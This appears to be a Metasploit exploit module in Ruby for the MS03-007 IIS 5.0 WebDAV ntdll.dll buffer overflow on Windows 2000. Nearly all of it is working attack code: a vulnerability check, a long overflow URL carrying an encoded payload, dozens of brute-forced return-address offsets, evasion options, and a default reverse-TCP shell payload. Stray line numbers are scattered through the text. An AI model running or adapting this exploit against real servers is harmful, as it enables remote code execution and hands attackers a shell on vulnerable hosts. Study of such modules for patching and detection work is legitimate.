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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
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        'Description' => %q{
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          This exploits a buffer overflow in NTDLL.dll on Windows 2000
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          through the SEARCH WebDAV method in IIS. This particular
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          module only works against Windows 2000. It should have a
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          reasonable chance of success against SP0 to SP3.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2003-0109'],
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          ['OSVDB', '4467'],
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          ['BID', '7116'],
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          ['PACKETSTORM', '30939'],
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          ['MSB', 'MS03-007']
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 512,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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          'StackAdjustment' => -3500
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        },
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        'Platform' => 'win',
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        'Arch' => [ARCH_X86],
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        'Targets' => [
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          [ 'Automatic Brute Force', {} ],
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        ],
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        'DefaultOptions' => {
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          'PAYLOAD' => 'windows/shell/reverse_tcp'
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        },
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        'Notes' => {
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [IOC_IN_LOGS]
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        },
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        'DisclosureDate' => '2003-05-30',
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        'DefaultTarget' => 0
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      )
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    )
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    register_evasion_options(
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      [
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        # XXX: We don't have a style for module-local evasion settings yet, so use Advanced's formatting
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        OptBool.new('InvalidSearchRequest', [false, 'Replace the valid XML search with random data', false]),
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        # XXX - ugh, there has to be a better way to remove entries from an
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        # enum that overwriting the evalable enum option
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        OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none', 'hex-normal'], 'none'])
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      ], self.class
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    )
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    deregister_options('HTTP::junk_params', 'HTTP::header_folding')
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  end
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  def autofilter
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    # Common vulnerability scanning tools report port 445/139
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    # due to how they test for the vulnerability. Remap this
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    # back to 80 for automated exploitation
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    rport = datastore['RPORT'].to_i
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    if (rport == 139 || rport == 445)
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      datastore['RPORT'] = 80
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    end
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    true
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  end
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  def check
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    # Verify the service is running first
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    res = send_request_raw({ 'uri' => '/' }, 5)
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    return CheckCode::Safe('Connection failed') unless res
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    xml = "<?xml version=\"1.0\"?>\r\n"
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    xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
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    xml << "<g:sql>\r\n"
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    xml << "Select \"DAV:displayname\" from scope()\r\n"
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    xml << "</g:sql>\r\n"
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    xml << "</g:searchrequest>\r\n"
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    response = send_request_cgi({
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      'uri' => "/#{'x' * 65535}",
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      'ctype' => 'text/xml',
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      'method' => 'SEARCH',
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      'data' => xml
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    }, 5)
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    if response && response.body.to_s.include?('Server Error(exception')
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      return CheckCode::Vulnerable("We've hit a server error (exception)")
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    end
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    # Request-URI Too Long
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    if response && response.code == 414
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      return CheckCode::Safe("The server returned #{response.code} (#{response.message})")
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    end
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    # Did the server stop accepting requests?
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    begin
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      send_request_raw({ 'uri' => '/' }, 5)
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    rescue StandardError
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      return CheckCode::Appears('The server stopped accepting requests') unless res
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    end
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    CheckCode::Safe
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  end
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  def exploit
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    # Verify the service is running first
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    res = send_request_raw({ 'uri' => '/' }, 5)
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    fail_with(Failure::Unreachable, 'Connection failed') unless res
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    # Common offsets
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    common_offsets = [
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      "\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
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      "\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
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      "\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
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      "\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
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      "\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
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    ]
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    # Generic Bruteforce - Windows 2000 Professional
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    pro_offsets = [
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      "\x41\xa8", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
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      "\x41\xa9", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
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      "\x41\xaa", # Windows 2000 Professional (SP1 EN / SP2 FR / SP2 PT)
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      "\x41\xab", # Windows 2000 Professional (SP1 AR)
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      "\x41\xac", # Windows 2000 Professional (SP0 FI)
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      "\x41\xad", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
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      "\x41\xae", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
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      "\x41\xaf",
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      "\x41\xb0",
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      "\x41\xb1", # Windows 2000 Professional (SP0 EN)
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      "\x41\xb2", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 PT)
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      "\x41\xb3", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 FR / SP2 PT)
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      "\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
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      "\x41\xb5", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP2 EN / SP2 FR / SP2 PT)
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      "\x41\xb6", # Windows 2000 Professional (SP0 NL / SP1 AR / SP2 FR / SP2 PT)
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      "\x41\xb7", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP1 AR / SP1 CZ / SP2 FR)
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      "\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
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      "\x41\xb9", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 AR / SP2 FR / SP2 PT)
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      "\x41\xba", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP2 FR)
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      "\x41\xbb", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 PT)
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      "\x41\xbc", # Windows 2000 Professional (SP0 FI / SP1 AR / SP2 FR)
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      "\x41\xbd", # Windows 2000 Professional (SP0 FI / SP0 TR)
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      "\x41\xbe", # Windows 2000 Professional (SP0 TR)
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      "\x41\xbf", # Windows 2000 Professional (SP0 FI)
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    ]
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    # Generic Bruteforce - Windows 2000 Server
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    server_offsets = [
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      "\x4f\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
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      "\x4f\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x4f\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x4f\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
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      "\x4f\xc4", # Windows 2000 Server (SP2 EN)
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      "\x4f\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
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      "\x4f\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
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      "\x4f\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
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      "\x4f\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
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      "\x4f\xc9", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x4f\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x4f\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP0 TR / SP1 EN / SP2 EN)
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      "\x4f\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
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      "\x4f\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP0 TR)
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      "\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x4f\xcf", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 EN / SP2 EN)
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      "\x4f\x40",
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      "\x4f\x41",
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      "\x4f\x42", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
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      "\x4f\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
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      "\x4f\x44",
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      "\x4f\x45",
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      "\x4f\x46",
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      "\x4f\x47", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR)
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      "\x4f\x48",
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      "\x4f\x49",
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      "\x4f\x4a",
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      "\x4f\x4b",
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      "\x4f\x4c",
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      "\x4f\x4d",
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      "\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
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      "\x4f\x4f",
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      "\x41\x40",
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      "\x41\x41",
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      "\x41\x42", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
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      "\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
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      "\x41\x44",
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      "\x41\x45",
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      "\x41\x46",
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      "\x41\x47", # Windows 2000 Server (SP0 ES / SP0 HU)
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      "\x41\x48", # Windows 2000 Server (SP1 SE)
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      "\x41\x49",
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      "\x41\x4a",
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      "\x41\x4b",
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      "\x41\x4c",
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      "\x41\x4d",
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      "\x41\x4e",
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      "\x41\x4f",
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      "\x41\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
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      "\x41\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x41\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x41\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
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      "\x41\xc4", # Windows 2000 Server (SP2 EN)
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      "\x41\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
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      "\x41\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
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      "\x41\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
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      "\x41\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
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      "\x41\xc9", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x41\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x41\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
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      "\x41\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
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      "\x41\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 IT / SP0 HU / SP0 NL / SP0 PT / SP0 TR)
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      "\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
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      "\x41\xcf", # Windows 2000 Server (SP0 DE / SP0 ES / SP0 NL / SP0 TR / SP1 EN / SP1 SE / SP2 EN)
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    ]
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    if datastore['InvalidSearchRequest']
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      xml = rand_text(32..1056)
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    else
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      xml = "<?xml version=\"1.0\"?>\r\n"
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      xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
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      xml << "<g:sql>\r\n"
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      xml << "Select \"DAV:displayname\" from scope()\r\n"
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      xml << "</g:sql>\r\n"
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      xml << "</g:searchrequest>\r\n"
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    end
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    # The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
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    # This decodes to "inc ecx"
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    url = 'A' * (65_516 - payload.encoded.length)
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    url << payload.encoded
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251
    offsets = common_offsets.concat(server_offsets).concat(pro_offsets).uniq
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253
    offsets.each_with_index do |ret, index|
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      print_status("Trying return address #{format('0x%.8x', Rex::Text.to_unicode(ret).unpack('V*').first)} (#{index + 1} / #{offsets.length})...")
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      url[283, 2] = ret
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      begin
258
        send_request_cgi({
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          'uri' => "/#{url}",
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          'ctype' => 'text/xml',
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          'method' => 'SEARCH',
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          'data' => xml
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        }, 5)
264
      rescue StandardError => e
265
        print_error("Attempt failed: #{e}")
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      end
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268
      1.upto(8) do |_i|
269
        select(nil, nil, nil, 0.25)
270
        break if session_created?
271
      end
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273
      break if session_created?
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275
      fail_with(Failure::Unreachable, 'Giving up, IIS must have completely crashed') unless service_running?
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    end
277
  end
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279
  # Try connecting to the server up to 20 times, with a two second gap
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  # This gives the server time to recover after a failed exploit attempt
281
  def service_running?
282
    print_status('Checking if IIS is back up after a failed attempt...')
283
    1.upto(20) do |i|
284
      break if session_created?
285

286
      return true if send_request_raw({ 'uri' => '/' }, 5)
287

288
      print_error("Connection failed (#{i} of 20)...")
289
      select(nil, nil, nil, 2)
290
    end
291
    false
292
  end
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end
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